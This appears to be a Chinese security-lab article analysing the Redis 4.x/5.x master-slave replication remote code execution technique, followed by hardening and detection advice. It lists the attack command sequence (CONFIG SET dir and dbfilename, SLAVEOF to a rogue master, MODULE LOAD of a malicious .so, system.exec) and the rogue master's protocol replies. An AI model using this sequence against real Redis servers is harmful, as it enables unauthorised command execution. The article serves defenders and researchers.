新聞動態
?+
+
Redis主從復制RCE分析
Redis是一套開源的使用ANSIC編寫、支持網絡、可基于內存亦可持久化的日志型、鍵值存儲數據庫,并提供多種語言的API。由于其高可用性和速度優勢,常用于緩存系統(“熱點”數據:高頻讀、低頻寫)、計數器、消息隊列系統、排行榜、社交網絡和實時系統等。
Redis主從復制RCE是在主從復制基礎上,通過復制惡意文件到本地,結合模塊加載功能將惡意文件成功加載,調用惡意文件接口實現命令執行。
●
Redis 4.x 和Redis 5.x版本
●
Redis 2.8版本在原有單機架構的基礎上,為了解決單機宕機的風險,引入主從復制的機制,通過主服務器將數據備份到從服務器上,由主服務器負責處理外部寫操作,從服務器負責讀操作。通過數據復制,Redis的一個master可以掛載多個slave,而slave下還可以掛載多個slave,形成多層嵌套結構。所有寫操作都在master實例中進行,master執行完畢后,將寫指令分發給掛在自己下面的slave節點。slave節點下如果有嵌套的slave,會將收到的寫指令進一步分發給掛在自己下面的slave。
Redis提供了2種不同的持久化方式,RDB方式(在指定的時間間隔內生成數據集的時間點快照)和AOF方式(記錄服務器執行的所有寫操作命令).AOF方式備份數據庫的文件名默認為appendonly.aof,可以在配置文件中通過修改appendfilename參數進行修改,無法在客戶端交互中動態設置appendfilename,而RDB方式備份數據庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態設置dbfilename來更改。
主從復制模式下數據單向從主節點流向從節點,在從節點首次注冊時,會對主節點數據進行全量復制,復制過程中用offset記錄讀取的數據大小,以便中斷后斷點續傳。如果從節點初始沒有數據,通過主從復制,可以將主節點設置的dbfilename文件全量復制到從節點的dbfilename中,從而實現任意文件上傳。
任意Redis服務器在啟動時默認作為Master主節點,當執行SLAVEOF命令后自動發送請求注冊成為目標的從節點,未對主節點信息進行校驗。
在Reids 4.x之后,Redis新增了模塊功能,通過寫c語言并編譯出.so文件作為外部拓展,可以實現在redis中實現一個新的Redis命令。
因此,可以通過自己模擬Redis服務器,通過執行命令設置將其設置為主節點,通過自行構造主服務器響應的情況,通過FULLRESYNC命令無損寫入想要寫的文件。結合任意模塊加載,實現任意命令執行。
●
主服務器需要執行的響應內容如下:
[>] PING – 從服務器探測主服務器是否存活
[<] +PONG 存活響應
[>] REPLCONF – 交換主從節點復制信息
[<] +OK 確認
[>] PSYNC/SYNC – 同步狀態以及傳輸方式
[<] +FULLRESYNC 同步數據
●
Config set dir /path/
Config set dbfilename test.so 修改備份文件路徑
SLAVEOF host port 設置為對應服務器的從節點
MODULE LOAD /path/test.so 加載復制過來的
SLAVEOF no one 關閉主從復制關系(防止臟數據復制)
System.exec ‘command’ 執行命令
對應流量特征如下:
主從復制RCE實現條件:
□ Redis可訪問(未授權或有憑據)
□ 可動態修改備份文件路徑
□ 主從未校驗可信服務端
依據上述情況,可以對應防護:
① Redis設置訪問白名單(入 防止惡意訪問和出 防止惡意設置為主從)
② Redis添加認證
在配置文件/etc/redis/redis.conf中修改requirepasss屬性為強口令,完成后重啟服務器
動態命令設置config set requirepass YorPass
③ 重命名相關命令
在配置文件/etc/redis/redis.conf中
rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 設置為空來禁用
對于惡意特征,可以通過MODULE LIST命令查看當前加載的模塊信息,重點關注非官方加載或者SYSTEM、EXEC等惡意關鍵詞,監控Redis服務器上Redis進程寫入的so文件(Windows為DLL文件),流量中可以重點關注FULLRESYNC命令以及相關文件二進制特征(Webshell,Cron,Authorized_keys,so和DLL等)。
E·N·D
本文由創信華通創安實驗室編輯。
本文僅限于個人學習和技術研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權攻擊等違法行為,均由使用者本人負責,本單位不為此承擔任何責任。創安攻防實驗室擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
如有侵權,請聯系后臺。
●
創安實驗室
創信華通創安實驗室,是成都創信華通信息技術有限公司旗下的技術研究團隊,成立于2021年9月,主要研究紅藍對抗、重大安全保障、應急響應等方向。
創安攻防實驗室圓滿完成了多次公安舉辦的重要網絡安全保障和攻防演習活動,并積極參加各類網絡安全競賽,屢獲殊榮。
創安攻防實驗室秉承創信華通的發展理念,致力打造國內一流網絡安全團隊。